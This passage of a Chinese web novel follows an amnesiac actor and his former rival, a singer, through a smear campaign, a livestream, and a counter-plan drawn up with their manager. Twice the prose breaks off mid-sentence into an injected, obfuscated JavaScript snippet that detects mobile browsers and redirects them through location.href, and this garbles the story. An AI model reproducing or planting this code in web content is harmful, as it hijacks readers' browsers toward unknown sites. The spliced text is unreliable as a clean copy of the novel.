大约也是因为,这时候网络上纷纷扰扰,让他成功从网友的视角看到了“那些年,他与江洺的关系到底有多坏……” 故意抢江洺的资源,逮着机会就对他阴阳怪气、冷嘲热讽,甚至在公开采访上也毫不掩饰他对江洺的恶意,那么私底下就更是有过之而无不及。 他反复看了江洺曾经为了澄清,而发布的那段,他们在慈善晚宴盥洗室的视频。 看起来,确实像是打架,而非——他以为的“激吻”。 手机里,还存着他从那部坏了的旧手机里,导出来的照片。 他以为的,证明他们曾经“相爱”的照片。 傅予沉抬手捏了捏眉心,按道理说,他那时的年纪,已经远远过了——喜欢一个人,就往他抽屉里塞毛毛虫这种恶作剧来挑衅的——小学生时期。 随着时间的推移,他脑海里那些有关“地下恋三年”的记忆已经模糊不清了,他甚至找不出一个清晰的片段,或者说证据。 但,在不知不觉间,他与江洺在这段时间的相处,又重新为那些“虚拟的爱意”赋予了新的色彩。 他感受得到,江洺在他靠近时,下意识收起了那些“尖锐的刺”,这十来天的时间里,甚至没再有一次,哪怕是语言上的冷嘲热讽。江洺在照顾他的心理状态,没有任何“趁他病,要他命”,甚至“落井下石”的翻旧账。 他也记得,在深海回响密室时,江洺下意识伸过来的指尖,像是应激的小动物伸过来的爪垫——带着恐惧与颤抖的,柔软试探。 心里像是莫名塌陷了一个角落,酸软的、潮湿的角落。 还有昨晚,平日里那么高冷的一个人,在他的掌心下一点点变得温暖,与柔软。 很乖。 ——让他差点就没能控制住自己。 心底似乎又两个声音在互相拉扯。 一个在说,“别自欺欺人了,你脑海里关于所谓的‘地下恋三年’的记忆是假的,大约是那场意外的车祸,把同人广场的段子撞进了你的脑子!醒醒吧,你们不可能曾经相爱过!” 一个却又在辩驳,“心跳不会撒谎,你们超爱的!”,“哪怕过去没有爱过,现在,也超爱的!” 傅予沉攥了攥指尖,那里似乎还残存着昨夜的温度。 爱上一个人,就是这种感觉吗? 那么江洺呢……爱他吗? 昨天晚上,他们一起的时候,江洺又在想什么呢?是因为爱,还是因为“需要”?抑或……像网友们揣度的那样,“利用”? -- 看着在自己面前走神的某人,顾淮敲了敲面前的桌面,“诶,想什么呢?说出来听听?” “学长,你说……” 【江洺爱我吗?】傅予沉咽下了后半句话,这连他都没有没有答案的事情,又何必去问一个外人。 顾淮却看出了点端倪来,他指了指自己的太阳穴,示意,“恢复了一点记忆了?” “没”。 “那……”顾淮的眼神略过桌案上的平板,又觑了眼傅予沉的脸色,没忍住笑出了声,“哈?所以是……被网友的证据整破防了?现在不坚持你的那些记忆都是真的了?不觉着是世人皆醉你独醒了?不觉着是大家都不懂你们的绝美爱情了?” 傅予沉!这人怎么哪壶不开提哪壶?他做为一个商场老油条的城府呢?! 他轻咳一声,转移了话题,“你刚才说什么?” 顾淮? 合着他说了半天,这狗东西是一点都没听啊? 片刻之后,傅予沉仿佛终于接收到了他之前的问题,轻轻抬眸,有些天真的问,“及时止损?你觉着现在是‘损失’吗?学长?” 顾淮??? “别告诉我,你最开始没有预想过,甚至期待过……这种情况,学长!” 顾淮…… 他默默捏紧了手中的平板,想扔到这狗东西头上,又反复告诉自己,【这是股东,这是股东,不能打。】 片刻后,他将平板往桌面上一抛,【操,我现在就约个滴滴代打!】 -- 同一时刻,天音娱乐的会议室却冷的像是深冬。 长桌尽头,秃顶的高层手指敲着一份数据报告,眼镜片后的目光像刀一样刮过江洺的脸,“舆论风向对你很不利,‘利用病人’、‘心机深沉’——这些标签一旦贴上,你这两年立的‘清冷专业’人设就全毁了。” 江洺靠坐在椅背里,脸上没什么表情。 虞绍在他旁边,额头已经渗出一层细汗。 “所以公司的建议是,”高层把报告往前一推,“立刻切割。发声明,强调你和傅予沉只是‘敬业合作’,所有互动都是剧本设计和节目效果。对于‘恐水症’,就说是为了综艺效果适当夸张。至于傅予沉那边的状态……那是星耀娱乐该头疼的事。” 切割。 【呵,大难临头各自飞吗?】 如果没有这期综艺的录制,他与傅予沉还是“死对头”,他或许会毫不犹豫地这么选择,但是现在……江洺的目光落在报告首页那张抓拍上,密室最后,傅予沉挡在他身前时回望的那个眼神。 照片有些模糊,但那双眼睛里的东西亮得刺眼,全然的保护,甚至有一丝献祭般的忠诚。 “如果我不同意呢。”江洺开口,声音平静。 高层眯起眼,“江洺,你要想清楚。你的合约……” “我的合约里没有‘必须按照公司指令处理私人关系’这一条。”江洺打断他,慢慢坐直身体,“而且,傅予沉不是‘那边’。他现在是我的搭档,舆论攻击是针对我们两个人的。” “就因为睡了一觉?”高层的语气带上了讥诮,嘲讽的话脱口而出。 会议室里的空气陡然凝固了。 虞绍猛地站起来,“秦总!” 江洺却笑了,高层们以为被曾经的死对头“睡”,是对他侮辱,可以被用来伤害他。 实际上,并不是,也并没有。 -- 昨晚的事情,说是“睡”其实并不确切,因为那个失忆的狗东西,没有趁着他心理脆弱,没有反抗……甚至是默许的情况下,睡了他。 傅予沉他没有趁虚而入。 昨晚的事情,更确切的说,更像是“服务”,虽然不知道,傅予沉是从哪学到的那些招数,然后又用到了他的身上。 可以确定的是……昨晚上的他,确实很“爽”。 各种意义上的。 以至于此刻回想起来,皮肤上似乎还残留着令人颤栗的余韵,仿佛在渴求下一次的触摸。 他从不知道,这种事情,还能——上瘾。 对象,还是他曾经的“死对头”,傅予沉。 -- 江洺的笑意更真切了些,他没有否认那个“睡”,反倒是大大方方的,在天音的高层面前,承认了下来。 “秦总消息很灵通。但既然您提到了……我已经被睡过了……” “那您更应该明白,现在切割已经晚了,我和他已经绑定了!” 他站起身,拿起那份报告,随手扔进旁边的垃圾桶。 “直播我会做,但不是切割。”江洺看向高层,眼神冷冽,“是反击。告诉那些躲在后面放冷箭的人,我和傅予沉,他们动不了。” 说完,他转身走出会议室,虞绍慌忙跟上。 走廊里,虞绍压低声音,“你疯了?这么顶撞他们,天音之后肯定要给你穿小鞋!” “他们早就想给我穿小鞋了。”江洺按了电梯,“从我爸把我卖给他们那天起,我在他们眼里就是个赚钱的工具而已。现在这个临期的……即将被他们抛弃的工具,却好像找到了新的靠山,变得不听话了——他们当然要敲打。” “那你现在……” “现在,”江洺走进电梯,看着镜面里自己苍白的脸,“我要让这个绑定,看起来坚不可摧。” -- 直播安排在晚上八点,黄金时段。 场地是节目组临时搭建的一个温馨客厅布景,暖色调的灯光,沙发上放着柔软的抱枕。但布景外的现实一片兵荒马乱——导演、编剧、两个团队的宣传人员挤在监控屏前,语速飞快地对流程、核对接下来的每一句话可能引发的舆论反应。 江洺坐在化妆镜前,闭着眼任由化妆师补妆。 粉扑扫过眼下时,他听见隔壁传来傅予沉的声音,很低,在打电话。 “……对,Alex医生,我还是想再确认一下,暴露疗法的风险……不,不是现在,但之后可能需要……” 江洺的睫毛颤了一下。 Alex,那个傅予沉提过的,他妈妈之前联系的国外专家,他在咨询治疗恐水症的方法。 化妆师离开后,江洺睁开眼,看向镜子,心情复杂。 他习惯了去面对“伤害”,却不知道,如何去面对,这沉沉甸甸的“珍视”。 像是一团炽烈的火焰一般,吸引着在黑暗中跋涉的人。 危险,而又迷人。 他现在很矛盾,有时候会希望,傅予沉尽快恢复记忆,好结束这场纷杂的闹剧,让一切回到正轨。有时候又会恶劣的希望傅予沉永远保持着现在的状况,保持着现在这份“危险关系”。 【可是,这样是不是很自私?】 【或者,就像网上那些人揣度的那样,不过是“利用”?】 【利用着一个失忆者的真诚?】 -- 傅予沉推门进来,手里拿着两杯温水。 他换了一身浅灰色的居家款毛衣,柔软的面料柔和了他五官的锐利,看起来毫无攻击性,甚至有些……柔软,好亲近。 “哥哥,给。”他把一杯水放在江洺面前,自己捧着另一杯在他旁边的椅子上坐下,小口喝着,眼睛却一直看着江洺。 “在跟医生打电话?”江洺问,语气随意。 傅予沉点头,“Alex说,创伤后应激的治疗需要很小心。暴露疗法不能急,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259334|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建立足够的安全感,用新的、好的记忆一点点覆盖旧的。”他顿了顿,看向江洺,“他还说……创伤有时候会‘传染’。照顾者如果太投入,可能会产生替代性创伤。” 江洺的心脏漏跳了一拍,“什么意思?” “就是……如果我一直看着你痛苦,我可能会把你的痛苦记成我自己的。”傅予沉解释得很认真,“Alex建议我也定期做心理评估,不过我觉得没必要。” “为什么?” 傅予沉放下水杯,伸手碰了碰江洺的手背,只是一个很轻的触碰,一触即分。 “因为你的痛苦不会让我痛苦。”他说,眼神干净得像晚春的风,“它只会让我想,要怎么做,你才能不痛。” 江洺别开脸,喉咙发紧。 就在这时,傅予沉的手机又震了一下,他拿起来看,眉头几不可查地皱了一下。 “怎么了?” “顾淮学长发来的。”傅予沉把屏幕转向江洺,上面是顾淮的消息。 【查到一个有趣的事。带‘傅予沉人设造假’节奏最凶的几个营销号,上个月都接过天音娱乐一个子公司的推广单。虽然走的是不同项目,但资金源头有交叉,你小心点江洺那边。】 空气安静了几秒。 江洺盯着那行字,忽然觉得刚才在会议室喝下的那杯水,仿佛带着一股寒意,迅速蔓延到了四肢百骸,带着一种“果然如此”的了然。 天音,真的是天音。 他们不仅要敲打他,还要连傅予沉一起拖下水。 “哥哥。”傅予沉的声音把他拉回来,“你公司的人,不喜欢我?” 问题直白且天真。 江洺张了张嘴,发现无法用“不是”来回答。最后他说,“他们不喜欢任何不受控制的东西。” “那我是吗?”傅予沉问,“不受控制的东西。” 江洺看着他,看着这个失忆后变得纯粹、直接,会因为他一个恐惧的眼神就跑去咨询国际专家、会因为舆论攻击而困惑的人。 “我是”,江洺扯了扯嘴角,露出了一抹自嘲的笑意,轻声说,“现在因为我,你也是……” 傅予沉似乎对这个答案很满意,他笑了笑,把手机收起来。 “没关系。”他说,“我也不喜欢他们。” -- 直播开始。 镜头亮起的瞬间,江洺脸上已经挂上了得体的微笑。傅予沉坐在他旁边,距离不远不近,但身体微微倾向他的方向,是一个不自觉的保护姿态。 弹幕瞬间淹没了屏幕。 【来了来了!!正主来了!!!】 【江洺看看我!傅影帝看看我!】 【坐等解释!】 【江洺你敢说你对傅予沉是真心的吗?】 主持人是个经验老道的中年女性,开场寒暄后,很快切入正题,“第一个问题可能比较尖锐,但粉丝们都很关心——傅先生,车祸之后你好像变了很多,尤其是对江洺的态度。这种转变,是出于什么原因呢?” 问题抛给了傅予沉,所有工作人员屏住了呼吸,这是第一个雷区。 傅予沉眨了眨眼,看向镜头,表情很坦然,“我不知道以前的我是什么样的。医生说我忘记了很多事。但我觉得,现在的我可能更……真实?” 他顿了顿,似乎在组织语言,“醒来之后,我发现很多东西都不重要了。排名、竞争、别人怎么看——这些都很模糊。但有些东西很清楚。”他转头看向江洺,“比如,我不想看到这个人害怕。他害怕的时候,我这里会疼。” 他指了指自己心口。 弹幕炸了。 【啊啊啊啊啊直球暴击!!!】 【“我这里会疼”我哭了……】 【这真的是演的吗?我不信!】 主持人趁热打铁,“那江洺呢?你对于傅予沉这种……直白的关心,是怎么回应的?” 镜头转向江洺。 他沉默了两秒,这两秒被无限拉长,所有人都以为他要回避,要官方,要打太极。 然后他开口了。 “我以前不相信本能。”江洺说,声音很稳,“我觉得所有事都可以计算、规划、控制。包括情绪,包括反应。” 他抬起眼,看向镜头,也看向身旁的傅予沉,“但有些东西是算不了的。比如在密室里,水喷出来的那一刻,我脑子里一片空白……那是真的空白,不是演的。” 他顿了顿,指尖无意识的摩挲了一下手腕上的伤痕,这是一个极其微小的、泄露紧张的动作。 “而在我大脑一片空白的时候,有人挡在了我前面。”江洺继续说,“那也是计算不了的。那不是剧本,不是设计,那是……另一个人在你快掉下去的时候,伸手抓住了你。” 他看向傅予沉,很轻地笑了笑,“至于这是利用,还是别的什么——我觉得,能让人本能地伸手去抓的关系,不管叫什么,都值得珍惜。” 这段话说完,整个直播间有几秒的死寂。 然后,弹幕井喷式爆发。 【我靠江洺承认了!他承认他怕水是真的!】 【“值得珍惜”……这算变相告白吗??】 【所以是双向奔赴?!不是单箭头利用?!】 后台监控数据的导演猛地拍大腿,“成了!这段话能剪出十个热搜!” 接下来的流程顺利得出奇。他们回放了密室的心跳同步片段,傅予沉指着那个并排飙升的曲线说,“这个数字我不会看,但有一位专业的医生告诉我,这种程度的同步,通常只出现在极度亲密或极度恐惧的关系里。” 他看向江洺,补充道,“我希望我们是前者。” 又是一波弹幕高潮。 直播进行到四十分钟时,进入粉丝提问环节。 一个被抽中的问题被念出来:“请问二位,如果现在有一个机会,可以立刻治愈江洺老师的恐水症,但代价是傅予沉老师会忘记最近两个月发生的事——也就是你们重新认识彼此的这段记忆。你们会怎么选?” 问题很刁钻,很残忍。 江洺的呼吸停了一拍,潜意识几乎要先于理智给出答案,“不换”。 但傅予沉先开口了。 23. 谢谢 “我不会选。”傅予沉说得很快,几乎没有思考,“他的恐惧是他的,但我们的记忆是我们的。我不能用‘我们’去换‘他’的一部分,这不公平。” 他顿了顿,看向提问的方向,眼神第一次带上了明显的,属于曾经的“傅予沉”的锐利,“而且,提出这种问题的人,可能不太明白——有些记忆之所以珍贵,不仅仅是因为它美好,还有因为它和某个人牢牢绑在一起。换掉了,就一切都不一样了。” 直播间再次安静。 这一次,连主持人都忘了接话。 江洺坐在那里,感觉耳膜里嗡嗡作响。 傅予沉的话像一把温柔的凿子,在他心里某个坚硬的角落,凿开了一条细细的裂缝。 光照进来了。 带着明媚的温度。 不管以后会如何,不管傅予沉何时会恢复记忆……这一刻的美好,是真实的、带着让人沉溺的温度。 -- 直播结束,数据爆了。 #江洺承认恐水症#、#傅予沉记忆替换不公平#、#值得珍惜的关系#空降热搜前三,舆论风向肉眼可见地扭转,CP粉狂欢,路人好感度飙升。 直播在一片暖意和弹幕的祝福中结束。 但,庆功的氛围并没有持续多久。 灯暗下来的瞬间,江洺还未来得及松一口气,就看见顾淮带着一身寒意推门而入,目光径直射向傅予沉身上。 “你知道你刚才说了什么吗?” 傅予沉眨了眨眼,“我只是……说了实话。” “实话?”顾淮气极反笑,转向江洺,语气复杂,“江老师,现在情况变了。‘失忆’这两个字从他嘴里说出来,和我们发通稿承认,是两回事。明天……不,今晚,所有合作方的电话都会打爆我的手机。” 江洺看向傅予沉,对方正用那双依旧清澈的眼睛回望他,仿佛在问,我说错了吗? 【没有】江洺想。【你只是……太坦诚了。】 而坦诚,在这个圈子里,往往是最昂贵也最危险的奢侈品。 窗外,城市的霓虹依旧闪烁。 江洺知道,直播间里精心营造的温馨堡垒已经坍塌,一场远比之前更凶猛、更直指核心的舆论海啸,正在汇聚。 而这一次,傅予沉亲手递给了敌人最锋利的刀。 只因为,他想用最直白的方式,告诉所有人——他为什么会爱上他。 因为本能,无关过往。 -- 江洺感觉得到,顾淮其实也没有那么愤怒,他更多的像是一种……被打乱了安排的暴躁。 因为,这个在娱乐圈沉浮多年、亲手将傅予沉推上超一线艺人位置的男人,现在迅速切换到了另一种状态——一种近乎冷酷的、猎食者的评估状态。 他让所有人出去,只留下傅予沉和江洺。 门关上,将外界的嘈杂彻底隔绝。 “现在,”顾淮点了支烟,没抽,只是夹在指尖,任由烟雾袅袅上升,“两个选择。” 他看向傅予沉,又看向江洺。 “一,我们立刻发声明,说你在直播时情绪激动、表述有误,所谓的‘失忆’只是创伤后暂时的记忆模糊,现在已经基本恢复。我们会安排你在三天内‘恰好’被拍到熟练处理一份复杂工作,证明你认知正常。” “代价是,你会成为一个‘说谎的失忆者’,或者‘连自己状态都搞不清的病人’。无论哪种,公信力都会受损。” 傅予沉皱起眉,刚要开口,顾淮抬手制止了他。 “二,”顾淮的声音压低,带着一种奇异的穿透力,“我们不否认,不解释,甚至……主动加码。” 江洺抬起眼。 顾淮把烟按熄在烟灰缸里,身体前倾,“既然藏不住,那就把它变成我们的武器。傅予沉,我问你——你现在,能演戏吗?” 傅予沉愣了一下,然后点头,带着一种灿然自信的光彩,“当然,你了解我的,那是天赋。” “不是剧本。”顾淮补充道,“是在镜头前,演出一个‘虽然失忆,但专业能力丝毫未损、甚至因为情感更纯粹而演技更动人的傅予沉’,你能吗?” 傅予沉沉默了,几秒后,他看向江洺,眼神干净而专注,“哥哥在旁边,那必须可以。” 顾淮嘴角抽了抽,这狗东西,在江洺面前,莫名就变得可控,或者说“乖巧”起来,就……像是被带上了一个无形的“项圈”。 他看向江洺,“江老师,你的恐水症,短时间内不可能治愈,对吧?” 即便不想承认,江洺还是点头,“对。” “但如果,”顾淮缓缓说,“在接下来的录制中,你在他身边,能够表现出比密室时更稳定的状态,哪怕只是进步一点点,都会被镜头无限放大。观众会看到,傅予沉的陪伴和爱,正在治愈你。” 他顿了顿,声音里透出商人的精明算计,“一个失忆后依然专业,甚至因为纯粹而更强大的影帝;一个被这份纯粹的爱逐渐治愈创伤的顶流歌手。这不是弱点,这是娱乐圈十年难遇的顶级叙事。” 顾淮在下一盘大棋,他要将这次意外,炒作成一场现象级的营销。 这是需要“及时止损”的损失吗?这可以不是。 -- “但对手不会坐视。”江洺说,“他们会从法律、伦理、道德层面攻击。质疑他失忆下的那些商务合约的效力,质疑我诱导病人——” “所以我们主动把这些雷都踩一遍。”顾淮打断他,从公文包里抽出几份文件,“这是Alex医生昨天凌晨发来的初步评估报告,以及他所在的大学附属医院的官方背书,傅予沉的认知能力、判断力、专业素养完全无损,失忆仅限于情感记忆和个人经历记忆。这份报告,我们会在半小时后全网发布。” 江洺接过文件,厚达十几页的英文报告,专业术语密密麻麻,但结论清晰有力,盖着医院的钢印。 “法律方面,”顾淮继续,“星耀的法务团队和三家顶级律所已经开了一夜的会。结论是,我国法律对‘失忆’状态下的民事行为能力认定,主要依据其认知和判断能力,而非记忆完整性。只要医学证明他心智正常,所有合约完全有效。” “至于道德攻击——”顾淮笑了笑,那笑容没什么温度,“我们会先发制人。” 他打开手机,调出一段视频。画面里,是傅予沉出事前三个月,在一次慈善晚宴后的私人聚会片段。视频里的傅予沉端着酒杯,对着几个朋友淡淡地说,“这个圈子假东西太多了,有时候‘经验’反而会影响判断,我倒想过真失忆一次,看看哪些人和事是真的。” 声音清晰,画面稳定。 “这段视频,他的朋友昨天半夜发给我的。”顾淮说,“他们说,予沉以前经常说这种话。” 江洺盯着屏幕,心脏重重一跳。 所以傅予沉的这次失忆是某种程度上的“心想事成”,还是一种骗了所有人的“演绎”? 不,如果是“演”,没有失去记忆的、那个满身骄矜的傅予沉,绝不会与他一起……做那些亲密的事情。 -- “我们会放出这段视频,配上文案:‘如果遗忘是命运的玩笑,那或许也是给真诚的一次机会。’” 顾淮关掉视频,“然后,我们会发起一个话题#失忆后更真实的自己#,引导公众讨论——在失去社会面具后,一个人最本能的选择,是否更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263085|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接近他的本心?” 房间里一片寂静。 傅予沉似懂非懂地看着顾淮,又看看江洺。他抓住了核心,“所以,我没有做错,对吗?” 顾淮看着他,眼神复杂。几秒后,他勉强点头,“你只是……太超前了。超前到我们需要用一整个团队,才能跟上你的节奏。” 他又看向江洺,“江老师,天音那边,你还需要回去‘解释’吗?” 江洺沉默。他知道顾淮在问什么——当傅予沉这边的商业价值不降反升,当天音发现他们的攻击不仅无效,反而助推了对手时,他们还会坚持原来的立场吗? “我会回去。”江洺说,声音平静,“但不是去解释,是去谈判。” 顾淮挑了挑眉。 “天音最看重的是利益。”江洺站起来,走到窗边,看着楼下开始聚集的媒体车,“如果傅予沉的价值在飙升,而我和他绑定能带来肉眼可见的收益,他们不仅不会打压,反而会要求我‘绑得更紧’。” 他转过头,看向顾淮:“我需要你配合我演一场戏。” “说。” “我要你对那边放出风声,说星耀正在考虑,因为傅予沉的‘不稳定状态’,暂停他所有新的商务合作,包括可能影响我和他CP价值的项目。” 顾淮的眼睛眯了起来,“欲擒故纵。” “对。”江洺说,“天音听到这个消息,会以为他们攻击见效了,傅予沉的价值在缩水。他们会立刻改变策略——从打压我,变成催促我尽快从你这里榨取剩余价值,比如,逼我签下更多和傅予沉的绑定合约,在傅予沉‘彻底过气’前捞最后一笔。” “然后呢?” “然后,”江洺笑了笑,那笑容冰冷而锋利,“等他们签完约,你再宣布,傅予沉不仅不会暂停合作,反而拿下了新的顶级合约,商业价值翻倍。到那时,他们签下的那些‘绑定合约’,就会变成他们手里甩不掉的烫手山芋——因为他们无法阻止我和傅予沉同台,却要眼睁睁看着我们替对手赚钱。” 顾淮盯着江洺看了很久。然后,他缓缓靠回椅背,吐出一口气。他懂了江洺的意思,商务合约以傅予沉和星耀为主出面签订,就能最大限度的减少天音可能从中牟利、阻挠的可能,而天音的算计就成了“为他人作嫁衣裳”。 “我终于明白,”他说,“傅予沉为什么失忆后还会爱上你了。” 江洺挑眉,“怎么,因为我肯为了他,‘脱粉回踩’老东家吗?” “哈哈,这么说也不算错,不是吗?”顾淮知道江洺的选择,不仅仅是因为傅予沉,还有江洺自己与天音的私人恩怨在,但此刻他无意说破,只是站起身来,伸出手,“合作愉快。” 江洺也站起身,轻笑,“合作愉快”。 顾淮拿起外套,“就这么办。虞绍那边你沟通,我配合。另外……”他看向傅予沉,“综艺接下来的录制,你正常去。记住,在镜头前,你只需要做一件事,看着江洺。用你看他的眼神,告诉所有人,什么是真的。” 傅予沉点头,眼神干净而坚定,“那些本来就是真的。” 顾淮看了眼傅予沉,眼角抽搐,实在受不了这狗东西的乖巧模样,准备迅速撤离,临走前又想起来,“我这边跟《致命心跳》的官方联系过了,对方同意调整后续拍摄安排,原定的第二期的‘荒岛求生’环节,将会微调为‘荒野求生’并且推后拍摄,本来预计在第三期拍摄的‘换装游乐园’将提前,我先跟你们通个气,你们这边提前有个心里准备。” 江洺心中轻轻舒了一口气,诚恳到,“谢谢。” 顾淮摆了摆手,“嗐,都是这小子安排的,你要谢就谢他吧!” 江洺神色复杂。 24. 如果 顾淮走了,房间里只剩下他们两个人。 窗外的媒体越聚越多,长枪短炮对准这栋楼,闪光灯的光偶尔刺破窗帘的缝隙,在墙上划出短暂的光痕。 傅予沉走到江洺身边,和他一起看向楼下那片喧嚣。 “哥哥,”他突然说,“我以前……是不是很会算计?” 江洺侧过头。 傅予沉的表情有些困惑,他看着自己的手,又看向窗外那些摄像头,“顾淮刚才说的那些,计划、反击、谈判……我以前应该很擅长,对吧?但我现在暂时不懂太多。我只知道,我想保护你,我不想你害怕。” 他顿了顿,声音低了下去,“可他们说的那些价值、利益……好像也是对的。没有那些,我就没法在这个圈子里保护你。” 江洺的心脏像是被什么东西轻轻攥住了。 这个失忆的死对头,正在用他最纯粹的逻辑,试图理解这个复杂的世界。 而他的结论是——他要变得强大,才能保护他。 “你不用懂那些。”江洺说,声音很轻,“你只要……继续做你自己就好。” “那如果我恢复记忆了呢?”傅予沉问。 这个问题突如其来,像是在咽喉处辗转了无数遍,终于脱口而出。 江洺呼吸一滞。 傅予沉看着他,眼神清澈见底,“如果我变回以前那个很会算计的傅予沉,哥哥还会喜欢我吗?” 江洺沉默了下来。 他想说“不会”,想说“我喜欢的只是现在的你”,想说“如果你恢复记忆,我们大概又会变回死对头”,还想说,“如果你恢复记忆,首先想要否认这段恋爱关系的,就是你本人”。 但他说不出口。 楼下突然传来一阵骚动,几辆黑色的商务车冲破媒体包围圈,停在楼下。车门打开,下来几个人——为首的是天音那位秃顶的秦总,他身后跟着虞绍,还有几个公司保镖。 他们来“请”江洺回去了。 江洺看着那些人,看着虞绍焦急地朝他窗户打手势,忽然笑了。 他转过头,看向傅予沉,撞入了那片清澈的眸光,心神突然就定了下来,他伸手,替傅予沉整理了一下刚才被弄乱的衣领。 “如果你恢复记忆,”江洺说,每个字都清晰而缓慢,“那你就自己选,是继续当现在这个傅予沉,还是变回以前那个。” -- 江洺离开了,离开前将选择权放回了他手里。 傅予沉一个人站在房间里,窗外是喧嚣的媒体和逼近的谈判者,而他的指尖,还残留着江洺触碰时的温度。 他低下头,看着自己的手。 然后,他走到镜子前,看着镜子里那张熟悉又陌生的脸。 “如果我变回以前的我,”他对着镜子里的自己,轻声问,“还会挡在他面前吗?” 镜子里的人没有回答。 撇开那些不被承认,所有人都说是假的,甚至他自己都能感受到违和的“恋爱记忆”。 仅仅从他在病床上醒来的记忆开始,江洺对他,又意味着什么呢。 是“初见”时的灿然心动。 是“同居”时那些欢欣愉悦的时光。 是“恐水症”发作时,片刻的脆弱与柔软。 是床榻上,泛红的眼尾,忍着颤栗,紧紧攀附着他的体温。 也是当舆论风暴来临时,毫不犹豫与他站在同一战线的果决,与坚定。 …… 这样一个人,他又如何能够不爱呢? 【如果那些年的针锋相对是真的,或许,只是一种“恨明月高悬,独不照我”吧?】 傅予沉缓缓攥紧了拳头,心中暗自揣度着,他低声喃喃,“自己选吗?那我好像更喜欢做现在这个……被哥哥你爱着、纵容着的傅予沉呢?” -- 一场舆论风暴在有心人的煽动下迅速爆发,而后又迅速的消弭了。 江洺与公司最终达成了“停火协议”,代价是——他最近除了《致命心跳》之外,被停止了所有其他工作。 但,这也仅仅是天音以为的。 电话铃声打破寂静,江洺点了接听。 是虞绍的声音,激动得发颤,“江老师!刚我业内的朋友传来了消息,‘格仕’手表和‘梵珀’香水把傅予沉的代言续约报价抬高了30%!他们的市场总监说,他现在‘有故事、有温度、有话题’,是他们品牌转型最需要的形象!另外,《致命心跳》的第一期播放峰值破了平台纪录,广告位已经炒到天价了!” “嗯”,江洺的声音没有什么起伏,这是他早就预料到的。 “另外,还有好多新的商务代言,联系了我这边!想要请你,或者你和傅予沉一起签约。” “还有,你之前的那个专辑《Killer》,在各大音乐平台上的播放都破了历史记录!是真正的大爆出圈了!!此外,不少平台那边都想要趁机再限量发售一批实体专辑!” “专辑的合作平台,还选之前的那家吧,合约你去谈,还是按照原来的价格……别太飘了”,似乎被虞绍的兴奋感染了,江洺也牵了牵唇角,沉吟片刻后,他又说,“至于……新的代言的事情,先暂时拖一拖吧。” “嗯?”虞绍兴奋的声音戛然而止,片刻后才透过听筒传了过来,“等……与天音解约,还是等……你与傅予沉的合约结束?” “都有吧。” -- 忙碌惯了人,突然闲下来,一时间显得有些无所事事。 暗自纠结了几日之后,江洺决定放下那些揣度与担忧,沉浸当下,什么都不想,享受这片刻的安宁。 偷得浮生几日闲,放空思维,江洺很开就找到了新的乐趣——看傅予沉备战专业考试。 按照他们最新的“合作”计划,傅予沉又一次搬进了他所在的别墅区。 相隔了不短的一段时光,再次入住的傅予沉,对一切显得没有丝毫隔阂,自然放松的就像是在自己家。 就连那只名叫“奶糖”的萨摩,也是一进门就一溜烟的跑进了它的房间,巡视了一番自己的领地后,满意的趴在江洺的腿边摇尾巴。 江洺躺在摇摇椅上,手里捧着那本《演员的自我修养》,沐浴着晚春的暖阳,昏昏欲睡。 而傅予沉穿着一身宽松的家居服,盘膝坐在地毯上,正带着一副窄框眼镜,靠在茶几边,奋战那堪比砖头的专业书,为了他即将到来的考试做最后的冲刺。 不知不觉间,天色就暗了下来,远处的落日坠在山头,染红了半边天空。 江洺回过头来,看向傅予沉,“休息一会儿吧,别把眼睛看坏了。” 傅予沉从专业书籍中抬起头,以往明媚的面容,显得有些疲惫,“马上就好了,哥哥饿了吗?” “还行”,不是江洺虐待‘备考学子’,实在是他厨艺不佳,在他有一次兴致勃勃的尝试之后,就被傅予沉禁止再次进入厨房了。原话是,“哥哥弹琴的手,不需要沾染这些柴米油盐。” 虽然知道事实并非如此,但江洺很是受用,勉强接纳了傅予沉的无理要求。 思考片刻,江洺随口问道,“为什么想着学法律?” 傅予沉取下了眼镜,站起来活动活动身体,“这就说来话长了。” 江洺眨眼,身体带着晒过阳光后的慵懒,“嗯~刚好我最近时间挺多。” -- 傅予沉的父亲是知名律师,开了个很厉害的律所。 他母亲经营家族企业,是一个很厉害的企业家。 他的父母亲是读书的时候相遇,一见钟情,恩爱夫妻。 但是,时间长了,两个人都很忙,谁都不愿意为了感情的羁绊,放下自己的事业,专注家庭,渐渐便有了隔阂。 在傅予沉10岁那年他们就协议和平离婚,两人都是很理智的人,即便是离婚了之后,却都还是欣赏对方在各自的领域的业务能力,与专业水准,仍然是很好的朋友,也仍然有着密切的业务合作。 于是,为了傅予沉的心理健康考虑,前夫妻两一合计,继续假装恩爱两不疑……直到傅予沉意外在家里发现他们的离婚协议。 不然,这事儿,他们计划“演”到傅予沉高考结束。 “所以,为什么学法律?”江洺听完了傅予沉言简意赅的讲述了他父母的恋爱史,仍然有些不解。 这样的家庭不会是想要限制孩子,必须要求傅予沉“子承父业”的样子。 “哈,我想看看欺骗未成年儿童,扮演夫妻恩爱是不是犯法。”傅予沉仰躺在沙发里,咕哝道。 “噗嗤”,江洺没想到是这么奇葩的理由,没忍住笑出了声。他很难想象,从前那个傅予沉,也有这么幼稚的时刻。 